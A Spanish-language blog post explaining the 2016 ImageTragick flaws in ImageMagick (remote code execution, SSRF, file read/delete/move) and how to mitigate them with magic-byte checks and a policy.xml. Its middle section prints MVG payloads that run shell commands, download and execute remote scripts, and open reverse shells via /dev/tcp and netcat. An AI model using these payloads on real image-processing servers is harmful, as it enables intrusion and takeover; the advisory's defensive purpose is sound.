ImageMagick es un sistema parecido a la libería GD que lleva por defecto en lenguaje PHP para manipular imágenes en cualquier página web, aunque también es utilizado en línea de comandos ya que es ideal para el procesamiento masivo de imágenes.Por ejemplo, MediaWiki pude utilizar ImageMagick o GD indistintamente para crear miniaturas (thumbnails) de imágenes.
La vulnerabilidad también está presente en los servidores donde la biblioteca se compila con Ruby (rmagick y paperclip) y NodeJs ImageMagick.
Los atacantes están explotando el tema mediante la subida de imágenes maliciosos a aplicaciones web que utilizan la biblioteca ImageMagick para procesarlas.
Existen múltiples vulnerabilidades en ImageMagick, un paquete comúnmente utilizado por los servicios de Internet para procesar las imágenes. Una de las vulnerabilidades puede provocar la ejecución remota de código (RCE) si procesa las imágenes enviadas por los usuarios. El exploit para esta vulnerabilidad está siendo utilizado de manera pública.
Las vulnerabilidades son:
- CVE-2016-3714 - Insufficient shell characters filtering leads to (potentially remote) code execution
- CVE-2016-3718 - SSRF - Es posible hacer peticiones GET HTTP o FTP.
- CVE-2016-3715 - Borrar ficheros
- CVE-2016-3716 - Mover ficheros
- CVE-2016-3717 - Leer ficheros locales. Reportado por el autor original del bug https://hackerone.com/stewie)
fill 'url(https://example.com/image.jpg"|ls "-la)'También es posible subir una webshell si está habilitada la opción de upload_files en WordPress o file_uploads en PHP, algo muy habitual si tenemos en cuenta que un usuario puede subir una imágen.
O ejecutar comandos
fill 'url(http://elhacker.net/imagen.jpg"|wget -o- ejemplo.com/shell > "/tmp/shell)'
fill 'url(https://example.com/imagen.jpg"|wget http://example.com/script.py -o /tmp/script.py && python /tmp/script.py ip 80")'
O obtener una shell directamente son setsid o nc:
fill 'url(https://\x22|setsid /bin/bash -i >/dev/tcp/192.168.0.1/443 0<&1 2>&1")' fill 'url(https://ejemplo.com/imagen.png"|nc -e /bin/sh 192.168.0.1
Y en definitiva cualquier comando que se te ocurra en la shell de Linux.ImageMagick PoC
Para saber si tu CMS como Wordpress o simplemente tu página web está afectada:
- Inspecciona la salida de la función phpinfo() de php y busca por la palabra “Imagick”
- Ejecuta php -m | grep imagick en la línea de comandos.
Por si todo esto fuera poco, ImageMagick también sabe cómo utilizar libxml2 cliente de FTP integrado para buscar imágenes a través de FTP, con lo que podrían aparecer nuevas vulnerabilidades desconocidas hasta ahora. Y de todas maneras los parches que están introduciendo los creadores de ImageMagick no parecen del todo seguro, así qeu mucho cudiado con vuestras aplicaciones web.
- https://news.ycombinator.com/item?id=11624109
- https://github.com/ImageMagick/ImageMagick/blob/8c9d68ca4241b6faafa7a35658a125c3500a5edf/MagickCore/magic.c#L89
Mitigar la vulnerabilidad
El problema además es que hay varios forks de ImageMagick, además que una serie de procesamiento de imágenes de plugins dependen de la biblioteca ImageMagick, incluyendo, imagick de PHP, RMagick y clip de Ruby, y imagemagick de nodejs. Si utiliza ImageMagick o una biblioteca afectada, se recomienda a mitigar las vulnerabilidades conocidas por hacer por lo menos una de estas dos cosas (pero preferiblemente ambas):
- Comprueba que todos los archivos de imágenes comienzan con los esperados "bytes mágicos" que corresponden a los tipos de archivo de imagen que admita antes de enviarlos a ImageMagick para su procesamiento. (Ver FAQ para más información)
- Utiliza un archivo de políticas (PolicyMap) para desactivar los codificadores de ImageMagick vulnerables. La política global para ImageMagick se encuentra normalmente en "/ etc / ImageMagick". El ejemplo policy.xml continuación se desactivará el codificadores EPHEMERAL, URL, MVG, and MSL.
Bytes Mágicos
Los primeros bytes de un archivo pueden servir a menudo utilizados para identificar el tipo de archivo. Algunos ejemplos son imágenes GIF, que comienzan con los bytes hexadecimales "47 49 46 38", y las imágenes JPEG, que comienzan con "FF D8". Esta lista en la Wikipedia tiene los bytes mágicos para la mayoría de los tipos de archivos comunes.PolicyMap
Nota: Falta añadir el símbolo < antes de cada líneaFichero de configuración policy.xml
Y añadir:policymap> policy domain="coder" rights="none" pattern="EPHEMERAL" /> policy domain="coder" rights="none" pattern="URL" /> policy domain="coder" rights="none" pattern="HTTPS" /> policy domain="coder" rights="none" pattern="MVG" /> policy domain="coder" rights="none" pattern="MSL" /> /policymap>
policy domain="path" rights="none" pattern="@*" />
Cuidado con las extensiones MSL (Magick Scripting Language) y MVG (Magick Vector Graphics)
Fuentes:
http://www.openwall.com/lists/oss-security/2016/05/03/18
https://imagetragick.com/
https://www.imagemagick.org/discourse-server/viewtopic.php?f=4&t=29588


No hay comentarios:
Publicar un comentario